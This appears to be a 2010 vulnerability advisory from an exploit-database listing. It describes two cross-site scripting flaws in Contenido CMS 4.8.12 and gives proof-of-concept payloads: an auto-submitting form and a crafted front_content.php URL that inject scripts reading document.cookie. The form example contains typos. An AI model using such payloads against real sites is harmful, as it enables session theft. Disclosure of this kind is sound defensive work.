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Contenido CMS 4.8.12 XSS Vulnerabilities

Author
High-Tech Bridge
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15027
Category
web applications
Date add
03-12-2010
Platform
php
========================================
Contenido CMS 4.8.12 XSS Vulnerabilities
========================================

Product: Contenido CMS
Vendor: four for business AG ( http://www.contenido.org/ )
Vulnerable Version: 4.8.12 and Probably Prior Versions
Vendor Notification: 29 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the contact form to properly sanitize user-supplied input in many parameters. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
 
<form action=http://host/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye='z"><script>alert(document.cookie)</script>'>
</form>
<script>
document.M.Submit();
<script>
 
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "front_content.php" script to properly sanitize user-supplied input in "idart" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
 
http://host/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
 
Solution: Upgrade to the most recent version



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